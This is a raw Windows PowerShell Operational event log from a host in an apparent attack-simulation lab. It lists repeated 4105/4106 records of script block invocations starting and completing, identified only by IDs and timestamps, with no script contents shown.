OpCode=On create calls
RecordNumber=2647692
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647691
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647689
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647688
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647687
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647705
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647703
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647702
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647701
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647700
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647699
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647697
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647715
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647713
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647711
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647710
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647709
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647707
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647725
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647723
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647722
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647721
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647720
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647719
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647718
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647717
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647735
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647734
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647733
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647731
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647729
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647728
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647727
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647746
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647745
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647743
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647741
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647740
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647739
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
